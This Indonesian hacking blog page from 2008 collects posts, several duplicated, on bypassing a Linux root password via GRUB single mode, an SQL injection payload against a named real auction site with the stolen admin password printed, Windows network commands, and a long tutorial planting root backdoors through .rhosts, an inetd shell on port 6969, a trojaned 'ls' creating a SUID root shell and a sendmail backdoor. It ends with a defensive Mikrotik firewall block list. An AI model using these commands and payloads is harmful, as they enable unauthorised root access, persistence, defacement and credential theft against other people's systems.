20 October 2008

Jadi root di linux tanpa password.

Boot Linux tanpa Password
Melalui mode single pada GRUB
=====================================================
Hi, ketemu lagi dengan saya, sikeren Al-k. ;)
Sama seperti sebelum sebelumnya, yaitu artikel mengenai jebol password,
tapi kali ini saya akan menjelaskannya pada Linux.
Mungkin pada artikel yang lain telah di jelaskan bagaimana
cara melakukan login tanpa password dengan bootloader Lilo,
tapi kali ini saya akan menjelaskannya pada bootloader Grub.


Beginilah caranya ...
=====================================


1.) Defaultnya, pas di bootloader grub ada 2 pilihan yaitu Redhat Linux dan DOS.
Pilih, yang Redhat Linux, terus tekan e di keyboard.
Tombol e berguna untuk melakukan edit.

2.) http://h1.ripway.com/alk/grub.png
setelah itu, pilih bagian ke 2 atau 3, disitu tertulis kernel blablablablaba ...
tekan e dikeyboard

3.) Kemudian tambahkan s atau single dibelakangnya, kira kira seperti ini

kernel /boot/vmlinuz-2.6.15-1-686 root=/dev/sda1 ro single

setelah itu Escape.

4.) Masih dalam keadaan memilih kernel, kemudian tekan b di keyboard untuk Boot. anda akan di bawa
pada kedudukan root. Silahkan ketik passwd untuk mengganti password yang baru atau anda bisa
mengedit file /etc/shadow, untuk menghilangkan password pada root.

Jreng jreng jreng ... satu lagi, anda login sebagai administrator tanpa password

Jadi root di linux tanpa password.

Boot Linux tanpa Password
Melalui mode single pada GRUB
=====================================================
Hi, ketemu lagi dengan saya, sikeren Al-k. ;)
Sama seperti sebelum sebelumnya, yaitu artikel mengenai jebol password,
tapi kali ini saya akan menjelaskannya pada Linux.
Mungkin pada artikel yang lain telah di jelaskan bagaimana
cara melakukan login tanpa password dengan bootloader Lilo,
tapi kali ini saya akan menjelaskannya pada bootloader Grub.


Beginilah caranya ...
=====================================


1.) Defaultnya, pas di bootloader grub ada 2 pilihan yaitu Redhat Linux dan DOS.
Pilih, yang Redhat Linux, terus tekan e di keyboard.
Tombol e berguna untuk melakukan edit.

2.) http://h1.ripway.com/alk/grub.png
setelah itu, pilih bagian ke 2 atau 3, disitu tertulis kernel blablablablaba ...
tekan e dikeyboard

3.) Kemudian tambahkan s atau single dibelakangnya, kira kira seperti ini

kernel /boot/vmlinuz-2.6.15-1-686 root=/dev/sda1 ro single

setelah itu Escape.

4.) Masih dalam keadaan memilih kernel, kemudian tekan b di keyboard untuk Boot. anda akan di bawa
pada kedudukan root. Silahkan ketik passwd untuk mengganti password yang baru atau anda bisa
mengedit file /etc/shadow, untuk menghilangkan password pada root.

Jreng jreng jreng ... satu lagi, anda login sebagai administrator tanpa password

SQL Injection AJ Auction seluruh versi

SQL Injection pada Aj Auction untuk seluruh versi.
=======================================================

Lagi-lagi bug baru di temukan, kali ini Al-k akan coba masuk
sebagai admin pada situs yang memiliki bug pada halaman subcat.php

langsung aja buka google-nya ...
masukkan keyword ini inurl:/subcat.php?cate_id=

nah loh, dapet banyak bangett ...
pilih aja salah satunya contoh :

http://www.estoop.it/subcat.php?cate_id=146&view=list&PHPSESSID=27c9b2b6500f2c01c09eda1978d45096

setelah cate_id= di hapus aja kemudian di ganti dengan

-1%20union%20select%200,concat(char(116,117,114,107,101,121,58),user_name,char(116,117,114,107,101,121,112,97,115,115,58),pas

sword),2%20from%20admin/*&view=list

kira kira jadi begini

http://www.estoop.it/subcat.php?cate_id=-1%20union%20select%200,concat(char(116,117,114,107,101,121,58),user_name,char(116,11

7,114,107,101,121,112,97,115,115,58),password),2%20from%20admin/*&view=list


nah loh passwordnya langsung dapet

turkey:adminturkeypass:daniel87

itu artinya
usernamenya admin
passwordnya daniel87


sekarang masuk ke control panelnya

http://www.estoop.it/admin
terus masukkin username dan passwordnya

jreng jreng jreng anda di bawa ke control panel ...

hehehehe ... deface deface ...

SQL Injection AJ Auction seluruh versi

SQL Injection pada Aj Auction untuk seluruh versi.
=======================================================

Lagi-lagi bug baru di temukan, kali ini Al-k akan coba masuk
sebagai admin pada situs yang memiliki bug pada halaman subcat.php

langsung aja buka google-nya ...
masukkan keyword ini inurl:/subcat.php?cate_id=

nah loh, dapet banyak bangett ...
pilih aja salah satunya contoh :

http://www.estoop.it/subcat.php?cate_id=146&view=list&PHPSESSID=27c9b2b6500f2c01c09eda1978d45096

setelah cate_id= di hapus aja kemudian di ganti dengan

-1%20union%20select%200,concat(char(116,117,114,107,101,121,58),user_name,char(116,117,114,107,101,121,112,97,115,115,58),pas

sword),2%20from%20admin/*&view=list

kira kira jadi begini

http://www.estoop.it/subcat.php?cate_id=-1%20union%20select%200,concat(char(116,117,114,107,101,121,58),user_name,char(116,11

7,114,107,101,121,112,97,115,115,58),password),2%20from%20admin/*&view=list


nah loh passwordnya langsung dapet

turkey:adminturkeypass:daniel87

itu artinya
usernamenya admin
passwordnya daniel87


sekarang masuk ke control panelnya

http://www.estoop.it/admin
terus masukkin username dan passwordnya

jreng jreng jreng anda di bawa ke control panel ...

hehehehe ... deface deface ...

Melihat Log website........!!!

Jika kita memiliki suatu website tentunya kita pasti ingin
tahu jejak dari pengunjung website kita.

Beberapa kegunaan dari system log diantaranya:
selain untuk mengetahui informasi visitor, log file juga
berguna untuk membantu analisis security

Oke saya akan langsung ke penjelasannya,
kali ini saya akan menjelaskan log file dengan system
script PHP:


Script System LOG dengan FLAT FILE:
/* ini utk melihat type browser
$agent = $_SERVER['HTTP_USER_AGENT'];

/* ini utk melihat script di eksekusi dari mana GET(URL)
$uri = $_SERVER['REQUEST_URI'];

/* ini utk melihat IP Pengunjung
$ip = $_SERVER['REMOTE_ADDR'];

/* ini utk melihat script di refer dari mana
$ref = $_SERVER['HTTP_REFERER'];

/* ini utk melihat Proxy pengunjung
$asli = $_SERVER['HTTP_X_FORWARDED_FOR'];

/* ini utk melihat koneksi pengunjung
$via = $_SERVER['HTTP_VIA'];

/* ini variabel tanggal
$dtime = date('r');

/* perhatian jika pengunjung pakai Proxy transparent
/* maka $_SERVER['HTTP_X_FORWARDED_FOR'] akan menampilkan IP Asli pengunjung
/* sebaliknya $_SERVER['REMOTE_ADDR'] akan menampilkan Proxy
/* Untuk Lebih jelas nya tentang macam2 Proxy saya akan jelaskan di tutorial yang lain

/* ini adalah deskripsi variabel entry_line:
$entry_line = "Waktu: $dtime | IP asli: $ip | Browser: $agent | URL: $uri | Referrer: $ref | Proxy: $asli | Koneksi: $via
"; /* <-- perhatian!! ini harus new line alias kamu enter sekali supaya hasilnya jadi new line

/* "fopen()" utk fungsi membuka file, "a" ini yg paling penting.!!,
/* ini berfungsi jika file "jejak.txt" tidak ada dalam server maka PHP akan menciptakannya
$fp = fopen("jejak.txt", "a");

/* "fputs()" fungsinya utk menulis log dlm file
fputs($fp, $entry_line);

/* "fclose()" fungsinya untuk menutup file
fclose($fp);

?>

Fungsi php System LOG dengan FLAT FILE ini, menurutku lumayan berguna
daripada ribet pakai koneksi MySql

liat lagi....!!

wddt, kk", saya mau share dikit cara buat lihat ip address dan serba serbi nya
1. ke command (start,run,ketik cmd) --> win xp, kalau 98 (ketik command)
2. ketik ipconfig (kelihatan IP na de)
3. nbtstat -a --> untuk melihat nama pemakai ip
contoh : nbtstat -a 192.168.0.2
4. netstat 10 --> untuk melihat daftar jaringan nya (ke mana aja connect nya)
5. net view / net user -> untuk melihat user di jaringan kita
6. Shutdown -i -> untuk menshutdown pc orang lain
sekian dulu kk, thx

liat lagi....!!

wddt, kk", saya mau share dikit cara buat lihat ip address dan serba serbi nya
1. ke command (start,run,ketik cmd) --> win xp, kalau 98 (ketik command)
2. ketik ipconfig (kelihatan IP na de)
3. nbtstat -a --> untuk melihat nama pemakai ip
contoh : nbtstat -a 192.168.0.2
4. netstat 10 --> untuk melihat daftar jaringan nya (ke mana aja connect nya)
5. net view / net user -> untuk melihat user di jaringan kita
6. Shutdown -i -> untuk menshutdown pc orang lain
sekian dulu kk, thx

cara melihat IP...!!

Cara untuk melihat IP address
Post by skydcloud on Apr 29, 2007, 7:15pm

Artikel ini ditujukan untuk memandu mereka yang masih bingung dengan terminologi sekuritas jaringan komputer seperti exploit,
trojan, dll dan ingin mengetahui konsep-konsep dasarnya.


EXPLOITS
Sekarang tentunya kamu sudah asyik bermain-main dan bereksperimen dengan shell UNIX baru yang baru kamu 'dapatkan'.
Dan mungkin sekarang kamu sudah mulai bertanya-tanya, "apa sih eksploit (exploit, 'sploits) itu?". Dalam konteks per-hacking-an,
eksploit tidaklah jauh berbeda dengan artinya dalam konteks harfiah, yaitu 'pemanfaatan'. Tentunya eksploit-eksploit 'hacking' lebih
spesifik lagi, yang kurang lebih bisa diartikan sebagai 'pemanfaatan kelemahan dari sebuah sistem untuk tujuan-tujuan yang diluar
dari penggunaan normal.' Kelemahan-kelemahan ini bisa berupa kesalahan pemrograman, sesuatu yang tidak direncanakan oleh
pemrogram asli, dan lain-lain. Umumnya, yang jelas paling menarik perhatian kita, adalah eksploit yang akan memberikan kita akses
tidak terbatas ke seluruh aspek dari sebuah sistem. Dalam UNIX, sering kita dengar istilah 'mengeksploit program anu untuk mendapat
privilese root'. Tentu saja mendapatkan 'root' bukanlah satu-satunya tujuan pengeksploitan sistem. Seperti yang mungkin anda sudah
alami sendiri, kadang sebuah cacat dalam program seperti maild atau ftpd bisa dimanfaatkan untuk tujuan 'header forging',
'ip spoofing', 'denial of service attack', dan 'mail bombing'.

Eksploit secara besar sering dibagi menjadi dua, yaitu eksploit lokal dan eksploit remote. Eksploit lokal adalah jenis eksploit yang
hanya bisa dijalankan jika kamu sudah punya akses ke dalam suatu sistem (baik itu melalui login telnet, ftp, dll). Eksploit jenis ini
jumlahnya banyak, sebab kamu sudah punya akses ke ribuan program yang berpotensi untuk di-eksploit. Contoh - contoh dari
eksploit jenis ini adalah buffer overflow (i.e. mh di RedHat 5, SuperProbe, dll), race conditions (dimana dua proses saling berlomba
untuk menyelesaikan tugas masing-masing, biasanya proses A disuruh untuk menjalankan suatu utilitas yang membutuhkan privilese
root temporer sementara proses B dirancang untuk mencegat proses A sebelum proses A kembali statusnya ke privilese user biasa,
mengakibatkan di-spawn-nya shell beridentitas root - sering terjadi di mesin-mesin IRIX dan SunOS.) Bagaimana caranya agar saya
bisa mendapatkan eksploit seperti ini? Tentu saja kamu bisa menghabiskan waktu berjam-jam untuk mengutak-utik sebuah program
sampai berhasil kamu jebol (lebih baik dilakukan di kotak kamu sendiri), seperti para 'elite' lainnya. Biasanya eksploit diprogram
dengan C, perl, atau sh. Namun kalau ilmu kungfu kamu masih kayak kami (dan emang bawaannya malas), banyak eksploit yang sudah didokumentasi.

Eksploit jenis satunya lagi adalah eksploit remote, dimana kamu bisa mengeksploit sistem tanpa mengetahui otorisasi user/password. Tentu saja eksploit-eksploit jenis ini jauh lebih sedikit jumlahnya, dan terkadang dampaknya juga tidak separah eksploit lokal. Lubang cgi phf adalah salah satu contoh dari pemanfaatan eksploit remote untuk mendapatkan file /etc/passwd (dulu LithErr pernah memberi resep cepat memanfaatkan phf). Mungkin belum terlihat fatal, namun sekalinya sang 'cracker' berhasil masuk ke dalam sistem memanfaatkan login dan password dari salah seorang user, maka dia bisa menjalankan eksploit-eksploit lokal untuk mendapatkan akses tak terbatas milik root. Eksploit port 143 (IMAPd) malahan lebih gila lagi, dengan memberikan akses root tanpa password. Apa trik dan tip yang kira-kira berguna untuk memanfaatkan eksploit-eksploit remote? Jelas sebuah portscanner sangatlah bermanfaat untuk melihat port-port mana saja yang menerima koneksi. Beberapa jenis 'scanner' lebih terfokus lagi, seperti cgi scanner dari kecoak (roachscan) yang saat dijalankan akan memeriksa direktori cgi-bin dari sejumlah server sekaligus, mencari file password atau jalan masuk lainnya, melalui beberapa jenis eksploit umum. Satu program lain yang mungkin ada gunanya adalah 'netcat', bisa didapat dari http://www.l0pht.com/. Untuk menghemat waktu, banyak cracker yang menulis skrip otomasi, jalankan skrip, tinggal berikan daftar target-target dan tinggalkan untuk sementara waktu. Kembali lagi sejam atau dua jam kemudian, tinggal diperiksa server-server mana saja yang ada lobangnya, bisa dieksploit atau tidak, dll (coba lihat artikel-artikel mengenai scanning/probing di situs-situs hacker).

Terkadang ada juga eksploit yang tidak begitu jelas jenisnya, seperti eksploit lynx mailer, yang walaupun kodenya sendiri terletak di host lain, namun untuk digunakan masih perlu campur tangan dari user lokal untuk bisa bekerja (saat user meng-click sebuah link, sang eksploit akan mengirimkan file password ke alamat email tertentu.)

BACKDOOR
Seperti terjemahan harfiahnya, backdoor bisa dianggap 'pintu masuk lewat belakang'. Backdoor berfungsi untuk memberikan sang programmer akses ke suatu sistem, tanpa sepengetahuan user lain ataupun sang sysadmin. Tentu saja sang programer di sini bisa juga diartikan 'sang penyusup'. Seringkali backdoor memberikan akses tak terbatas kepada siapapun juga yang mengetahui jalan masuknya. Walaupun tidak jarang vendor-vendor besar (baik hardware maupun software ) yang sengaja menempatkan backdoor tak terdokumentasi untuk kemudahan 'maintenance' dan sejenisnya,
dalam artikel ini yang dimaksud adalah backdoor dalam artian memberikan akses root ke dalam sebuah sistem UNIX sebagai antisipasi jika sang sysadmin kebetulan menyadari bahwa ada penyerang di dalam sistem.

Kamu sudah semalaman begadang, mencoba eksploit-eksploit remote, dan berhasil masuk ke sebuah sistem dengan memanfaatkan login user dan segera menjalankan eksploit-eksploit lokal untuk mengambil alih kekuasaan root. Tentunya sayang jika saat sang sysadmin kembali bekerja di
keesokan harinya, akses kamu ditutup. Nah, disinilah manfaatnya kita menanam satu atau lebih
jalan masuk 'alternatif'. Jelas, sebagian besar teknik-teknik backdooring hanya bisa diterapkan
jika kamu mempunyai perizinan root. Ingat, bahwa tujuan membuat backdoor bukanlah untuk
mendapatkan akses root, tetapi untuk mendapatkan akses root LAGI setelah sang sysadmin
menutup segala jalan masuk normal. Terkadang sysadmin sering menganggap selama file-file
/etc/hosts.deny telah dikonfigurasi, maka segala koneksi dari host kamu akan ditolak.
Tentu saja kalian-kalian, sang cracker, kelihaian kung fu nya jauh di atas sang sysadmin,
sebab tanpa sepengetahuan beliau, telah kamu set up beberapa jalan masuk alternatif dengan
privilese root.

Nah, backdoor backdoor ini ada yang memang sudah dari sononya (seperti Backdoor di router-router, printserver, dll buatan 3Com), namun disini akan kami jelaskan cara membuat backdoor kamu sendiri di sebuah sistem UNIX. Jalan termudah (dan yang paling gampang ditangkap) adalah dengan melalui file /.rhosts:

korban# echo "indohack2.ri.go.id ganjaman" >> /.rhosts

perintah diatas akan menambah satu entri di file .rhosts (sistem luar -dalam contoh diatas user ganjaman dari indohack2.ri.go.id - yang boleh mengakses account tanpa password), dan untuk masuk kembali ke sistem dari account "ganjaman" di indohack2.ri.go.id :

ganjaman@indohack2> rlogin -l root korban.lameisp.net.id

poof! shell root tanpa password!
Untuk kalian yang ingin sedikit lebih tersembunyi lagi, coba perhatikan entri berikut dari
file /etc/passwd sebuah sistem:

bin:*:3:7:Binaries Command and Source,,,:/bin:/bin/false

tentunya bagi mereka yang sering memanen password entri seperti di atas sudah tidak asing lagi.
Account diatas adalah account yang digunakan oleh UNIX sistem secara internal. Seringkali banyak diantara crackers yang mengambil jalan singkat dan menghapus karakter *, mengakibatkan telnet dengan nama login "bin" tidak memerlukan password. Tapi ingatlah bahwa file /etc/passwd biasanya adalah file pertama yang akan diperiksa oleh sang sysadmin saat dia menyadari bahwa sistemnya telah kena susup. Agar kita lebih sulit dideteksi, maka ada baiknya kita buat file .rhosts di home directory milik bin. Kembali ke entri file password diatas, bisa kita lihat bahwa walaupun
kita bisa me- rlogin -l bin korban.lameisp.net.id, namun kita masih juga tidak bisa mendapatkan
shell sebab account 'bin' dikonfigurasikan untuk menolak penggunaan shell. Cara mengatasi masala
h ini tentunya dengan membuat link dari /bin/false ke /bin/sh atau /bin/tcsh. Apa daya seorang s
ysadmin? Tentunya jika mereka memang keren kung fu nya, sang sysadmin akan mensetup sebuah skrip yang memeriksa keberadaan file-file .rhosts di dalam sebuah sistem. Tak lupa merubah entri dari account-account internal dari /bin/false ke /nggak-ada-tuh atau string unik lainnya yang bukan
merupakan nama file.

Metode backdooring lain adalah dengan memanfaatkan "in.rootd" (sebenernya ini hanyalah rekayasa saja, sebab sepanjang pengetahuan kami, nggak ada tuh yang namanya root daemon - tapi metode ini benar-benar cocok disebut rootd) yang pada dasarnya bertugas untuk membuat sebuah lubang masuk lewat salah satu port yang didefinisikan dalam "inetd":

root@korban# echo "ntcp 6969/tcp # Network Traffic Control Protocol" >> /etc/services root@korban
# echo "ntcp stream tcp nowait root /bin/sh sh /tmp/crax0r" >> /etc/inetd.conf root@korban# echo
"echo indohack2.ri.go.id > ~root/.rhosts" > /tmp/crax0r

menjalankan tiga perintah diatas bisa mengakibatkan kompromisasi sistem yang cukup dahsyat,
namun tidak akan segera tampak. Penjelasan dari ketiga perintah diatas:
1. mengaktifkan protokol ntcp di port 6969 (tentunya kamu memilih nomor port lain yang tidak begitu mencurigakan, silakan pilih mulai dari 1024 sampai 65000-an), sedangkan "Network Traffic Control Protocol" adalah karangan kamu sendiri sebab setiap service harus punya nama, dan biasanya sysadmin tidak akan begitu curiga dengan nama seperti itu.

2. memerintahkan sistem untuk menjalankan perintah /bin/sh sh /tmp/crax0r setiapkali sang sistem menerima koneksi telnet lewat port 6969. Sayangnya mengeksekusi sebuah shell berprivilese root lewat cara ini hanya akan mengakibatkan sang sistem bengong, sebab kita tidak bisa memberikan perintah-perintah selayaknya kita login lewat jalur normal. Sang shell akan tetap dijalankan, namun tidak akan bisa mengeksekusi perintah kita. Untuk itulah kita buat satu skrip di direktori /tmp/crax0r (tentunya kamu lebih pintar dan memilih nama yang tidak begitu mencurigakan seperti /tmp/dev001).

3. Nah, perintah ketiga ini lah yang akan dieksekusi oleh sang shell yang baru saja kita luncurkan(id=0 - root!). Tentunya kamu bisa saja menulis skrip yang lebih kompleks. Namun untukmenghemat tempat, kita lancarkan saja perintah yang sudah dibahas diatas, yaitu menambahkan entri dari mesin host kita ke file .rhosts milik root. Tentu jika sang admin memang keren kung funya, rlogind akan dikonfigurasikan untuk tidak mengindahkan file .rhosts, namun jika kamu periksa isi direktori dan file "history" milik root dan isinya menunjukkan bahwa sang sysadmin tidak begitu melek soal keamanan, maka metode diatas akan memberikan jalan masuk lewat belakang ke dalam sistem target (idih, kesannya kayak cerita-cerita porno anal seks aja!). Sekarang kamu tinggal:

ganjaman@indohack2> telnet korban.lameisp.net.id 6969

nah, sistem kamu akan tersambung ke sistem target lewat port 6969, sedangkan daemon inet di mesin korban akan menerima sambungan tersebut, menjalankan perintah dalam skrip /tmp/crax0r dengan privilese root, dan dengan segera menutup kembali sambungan telnet. Sekarang .rhosts milik root sudah ditambahi satu entri lagi, yaitu nama host kamu. Untuk kembali menggarap system target (sebaiknya dilakukan saat itu juga, sebab sang sysadmin mungkin akan curiga melihat skrip 'asing' dijalankan lewat port 6969) kamu tinggal:

ganjaman@indohack2> rlogin -l root korban.lameisp.net.id

dan, BOOM!

korban#

shell root tanpa password! (Nah, sekarang kamu boleh kirim surat penggemar ke indohack@hotmail.com, bertitel "Terimakasih, suhu Ganjaman dan SuperCock, atas ilmu ngent...engin badannya ..." :) ). Tapi ingatlah untuk segera menghapus file .rhosts dan jejak jejak lain. Tentunya kalau kung fu kamu emang udah cukup tinggi, teknik menyembunyikan diri dan anti deteksi udah bukan barang asing bagi kamu, jadi, jangan lupa aktifkan segala spoofer program, dll. Kalau kamu benar-benar suka mengutak-utik, serangan bisa dibuat dengan lebih tersembunyi lagi, seperti dengan memanfaatkan service-service yang jarang (hampir tidak pernah dipakai) seperti utilitas-utilitas X, segala utilitas berkepala "r", dan banyak lagi.

Metode lain yang cukup populer adalah dengan membuat sebuah file dengan bit SUID tambahan, namun cara ini gampang terdeteksi jika kebetulan sistem mempunyai program audit keamanan yang akan mensensus seluruh file berbit SUID yang terletak diluar lokasi-lokasi wajar (seperti /tmp atau lokasi homedir user). Ide yang lebih mantap lagi adalah dengan memodifikasi suatu program yang sudah berjalan / terinstal secara default, seperti xterm dan splitvt, sehingga sebuah option rootshell akan secara otomatis execv("/bin/sh", "sh", NULL);.

Kalau kamu emang pendekar asli (dan entah kenapa sedang membaca artikel kelas kacangan ini), kamu bisa modifikasi daemon-daemon yang sedang berjalan untuk menerima perintah-perintah hasil karangan kamu sendiri. Berikut adalah cuplikan dari metode milik Hacker FBI telah berhasil memodifikasi program
sendmail di server korban.com (tembakan pestol efbiay!):

212@GG> telnet korban.com
25 Trying mesin.korban.com
Connected to mesin.korban.com
Escape character is '^]'.
220 mesin.korban.com ESMTP Sendmail 8.8.5/8.8.5
[snip]
PSM_EXEC /bin/cp /bin/sh /tmp/elit
Done ... master! PSM_EXEC /bin/chmod 4755 /tmp/elit
Done ... master!
Jika menurut kamu cuplikan diatas sudah cukup familiar, maka kami dengan segala kerendahan hati
minta izin untuk berguru!





TROJAN HORSE
Tidak akan banyak penjelasan mengenai metode ini, sebab pada umumnya Trojan Horse hanya efektif jika kamu betul-betul pintar menutupi suatu program atau jika sang sysadmin memang betul-betul tolol. Pada prinsipnya, Trojan Horse adalah program yang mempunyai 'feature' gelap. Misalnya kamu membuat sebuah game yang cukup heboh dan kamu dengan sengaja menyelipkan perintah untuk membuka akses di dalam kode game kamu, sedemikian rupa sehingga saat sang sysadmin menjalankan program tersebut, tanpa disadarinya file .rhosts nya telah ketambahan sesuatu. Kami kenal seorang hacker yang lihai menulis skrip IRC, dan skrip IRC-nya kebetulan mempunyai banyak peminat. Beberapa 'lamers' mendownload skrip tersebut tanpa menyadari bahwa sang skrip menyelipkan beberapa perintah untuk mengizinkan akses tak berpassword kepada sang penulis asli skrip.





TRAPDOOR
Banyak persamaan antara Trapdoor dengan Backdoor dan Trojan Horse, namun dalam artikel ini, 'Trapdoor' diasumsikan sebagai cara yang bisa kita gunakan untuk menjebak (trap) sang sysadmin untuk memberikan kita akses root kedalam sistem. Seringkali kita terbentur masalah sistem operasi yang paling gres, atau sebuah sistem dimana hampir semua eksploit untuk mendapatkan root tidak berjalan sama sekali (patched systems). Jangan putus asa! Masih banyak metode yang bisa kita terapkan untuk membuat sang sysadmin tertipu, berakibat dibukanya akses ke dalam system. Misalkan kamu sudah berhari-hari mengoprek sebuah target dengan menggunakan account dan password seorang user biasa hasil colongan lewat phf, dan sayangnya tidak ada exploit yang mempan. Nah, sudah saatnya kita terapkan metode Trapdoor. Berikut adalah metode Trapdoor yang walaupun sederhana, masih saja bisa mengelabui puluhan sysadmin diluar sana.

Pertama-tama, kamu perlu merubah perizinan homedir kamu (atau homedir milik user yang accountnya kamu 'pinjam'):

user1@korban> chmod 700 ~/.

Nah, karena sekarang homedir kamu bermode 700, sang syadmin perlu mengganti privilesenya ke root jika beliau ingin memeriksa isi direktori ybs. Nah, langkah berikutnya adalah membuat sebuah skrip yang bertugas untuk bertingkahlaku selayaknya perintah biasa, namun diluar pengetahuan sang admin, justru membuka satu (atau beberapa) kelemahan dalam sistem. Yang langsung terpikir olehmu, jelas, perintah ls. Disinilah letak kelemahan UNIX dibanding ... uh, MS-DOS. Dalam UNIX, seorang sysadmin yang baik selalu mengetik 'full pathname' dari program manapun yang dia jalankan (seperti /bin/ls atau /usr/sbin/vi index.html), dan untuk tujuan kemudahan, biasanya /bin atau /usr/sbin sudah dimasukkan dalam daftar search path. Jadi jika misalnya sang sysadmin melakukan:

root# pwd
/usr/home/staff/user1
root# ls

maka yang dijalankan adalah program /bin/ls. Apa akibatnya jika kebetulan dalam direktori /usr/home/staff/user1 kita letakkan sebuah skrip bernama 'ls'? Heheheh ... cukup menarik, khan. Nah, sekarang kita bisa buat sebuah skrip yang berisi:

#!/bin/sh cp /bin/sh /tmp/vi-save-902887
chown root /tmp/vi-save-902887
chmod 4755 /tmp/vi-save-902887
rm ./ls
ls
simpan skrip tersebut di homedir user1, beri nama "ls" dan
user1@korban> chmod +x ls
sekarang tinggal pintar-pintarnya kamu mengakali sang sysadmin untuk mengecek isi homedir user1. Jika kamu kebetulan punya login/passwd untuk user2 di mesin yang sama, maka kamu bisa saja 'mengundang' sang admin. Login sebagai user1, dan kirim email

user1@korban> mail root@localhost
Subject: "Heheheh ... Kena garap dari belakang!"
Hello sysadmin tolol! Mesin kamu sudah kebobolan!
ttd, God of All Hackers, Virus Researchers and Lame Mailbombers,
Phardera .

Saat menerima email ini, sang Syadmin pun akan segera memeriksa isi homedir user1 (dengan perintah ls, tentunya), dan tanpa disadari sang sysadmin telah menciptakan sebuah shell root di /tmp/vi-save-902887. Dan, karena vi-save-902887 ber-SUID root, kamu bisa melakukan bermacam-macam hal menyenangkan dengannya. Tinggal login sebagai user2 beberapa waktu kemudian, dan nikmati ketenangan pikiran lewat shell root! Heheheh ...

firewall untuk router mikrotik....!!

Untuk mengamankan router mikrotik dari traffic virus dan excess ping dapat digunakan skrip firewall berikut

Pertama buat address-list "ournetwork" yang berisi alamat IP radio, IP LAN dan IP WAN atau IP lainnya yang dapat dipercaya

Dalam contoh berikut alamat IP radio adalah = 10.0.0.0/16, IP LAN = 192.168.2.0/24 dan IP WAN = 203.89.24.0/21 dan IP lainnya yang dapat dipercaya = 202.67.33.7

Untuk membuat address-list dapat menggunakan contoh skrip seperti berikut ini tinggal disesuaikan dengan konfigurasi jaringan Anda.

Buat skrtip berikut menggunakan notepad kemudian copy-paste ke console mikrotik

/ ip firewall address-list
add list=ournetwork address=203.89.24.0/21 comment="Datautama Network"
disabled=no
add list=ournetwork address=10.0.0.0/16 comment="IP Radio" disabled=no
add list=ournetwork address=192.168.2.0/24 comment="LAN Network" disabled=no


Selanjutnya copy-paste skrip berikut pada console mikrotik

/ ip firewall filter
add chain=forward connection-state=established action=accept comment="allow
established connections" disabled=no
add chain=forward connection-state=related action=accept comment="allow
related connections" disabled=no
add chain=virus protocol=udp dst-port=135-139 action=drop comment="Drop
Messenger Worm" disabled=no
add chain=forward connection-state=invalid action=drop comment="drop invalid
connections" disabled=no
add chain=virus protocol=tcp dst-port=135-139 action=drop comment="Drop
Blaster Worm" disabled=no
add chain=virus protocol=tcp dst-port=1433-1434 action=drop comment="Worm"
disabled=no
add chain=virus protocol=tcp dst-port=445 action=drop comment="Drop Blaster
Worm" disabled=no
add chain=virus protocol=udp dst-port=445 action=drop comment="Drop Blaster
Worm" disabled=no
add chain=virus protocol=tcp dst-port=593 action=drop comment="________"
disabled=no
add chain=virus protocol=tcp dst-port=1024-1030 action=drop comment="________"
disabled=no
add chain=virus protocol=tcp dst-port=1080 action=drop comment="Drop MyDoom"
disabled=no
add chain=virus protocol=tcp dst-port=1214 action=drop comment="________"
disabled=no
add chain=virus protocol=tcp dst-port=1363 action=drop comment="ndm requester"
disabled=no
add chain=virus protocol=tcp dst-port=1364 action=drop comment="ndm server"
disabled=no
add chain=virus protocol=tcp dst-port=1368 action=drop comment="screen cast"
disabled=no
add chain=virus protocol=tcp dst-port=1373 action=drop comment="hromgrafx"
disabled=no
add chain=virus protocol=tcp dst-port=1377 action=drop comment="cichlid"
disabled=no
add chain=virus protocol=tcp dst-port=2745 action=drop comment="Bagle Virus"
disabled=no
add chain=virus protocol=tcp dst-port=2283 action=drop comment="Drop Dumaru.Y"
disabled=no
add chain=virus protocol=tcp dst-port=2535 action=drop comment="Drop Beagle"
disabled=no
add chain=virus protocol=tcp dst-port=2745 action=drop comment="Drop
Beagle.C-K" disabled=no
add chain=virus protocol=tcp dst-port=3127 action=drop comment="Drop MyDoom"
disabled=no
add chain=virus protocol=tcp dst-port=3410 action=drop comment="Drop Backdoor
OptixPro" disabled=no
add chain=virus protocol=tcp dst-port=4444 action=drop comment="Worm"
disabled=no
add chain=virus protocol=udp dst-port=4444 action=drop comment="Worm"
disabled=no
add chain=virus protocol=tcp dst-port=5554 action=drop comment="Drop Sasser"
disabled=no
add chain=virus protocol=tcp dst-port=8866 action=drop comment="Drop Beagle.B"
disabled=no
add chain=virus protocol=tcp dst-port=9898 action=drop comment="Drop
Dabber.A-B" disabled=no
add chain=virus protocol=tcp dst-port=10000 action=drop comment="Drop
Dumaru.Y, sebaiknya di didisable karena juga sering digunakan utk vpn atau
webmin" disabled=yes
add chain=virus protocol=tcp dst-port=10080 action=drop comment="Drop
MyDoom.B" disabled=no
add chain=virus protocol=tcp dst-port=12345 action=drop comment="Drop NetBus"
disabled=no
add chain=virus protocol=tcp dst-port=17300 action=drop comment="Drop Kuang2"
disabled=no
add chain=virus protocol=tcp dst-port=27374 action=drop comment="Drop
SubSeven" disabled=no
add chain=virus protocol=tcp dst-port=65506 action=drop comment="Drop PhatBot,
Agobot, Gaobot" disabled=no
add chain=forward action=jump jump-target=virus comment="jump to the virus
chain" disabled=no
add chain=input connection-state=established action=accept comment="Accept
established connections" disabled=no
add chain=input connection-state=related action=accept comment="Accept related
connections" disabled=no
add chain=input connection-state=invalid action=drop comment="Drop invalid
connections" disabled=no
add chain=input protocol=udp action=accept comment="UDP" disabled=no
add chain=input protocol=icmp limit=50/5s,2 action=accept comment="Allow
limited pings" disabled=no
add chain=input protocol=icmp action=drop comment="Drop excess pings"
disabled=no
add chain=input protocol=tcp dst-port=21 src-address-list=ournetwork
action=accept comment="FTP" disabled=no
add chain=input protocol=tcp dst-port=22 src-address-list=ournetwork
action=accept comment="SSH for secure shell" disabled=no
add chain=input protocol=tcp dst-port=23 src-address-list=ournetwork
action=accept comment="Telnet" disabled=no
add chain=input protocol=tcp dst-port=80 src-address-list=ournetwork
action=accept comment="Web" disabled=no
add chain=input protocol=tcp dst-port=8291 src-address-list=ournetwork
action=accept comment="winbox" disabled=no
add chain=input protocol=tcp dst-port=1723 action=accept comment="pptp-server"
disabled=no
add chain=input src-address-list=ournetwork action=accept comment="From
Datautama network" disabled=no
add chain=input action=log log-prefix="DROP INPUT" comment="Log everything
else" disabled=no
add chain=input action=drop comment="Drop everything else" disabled=no

Efek dari skrip diatas adalah:

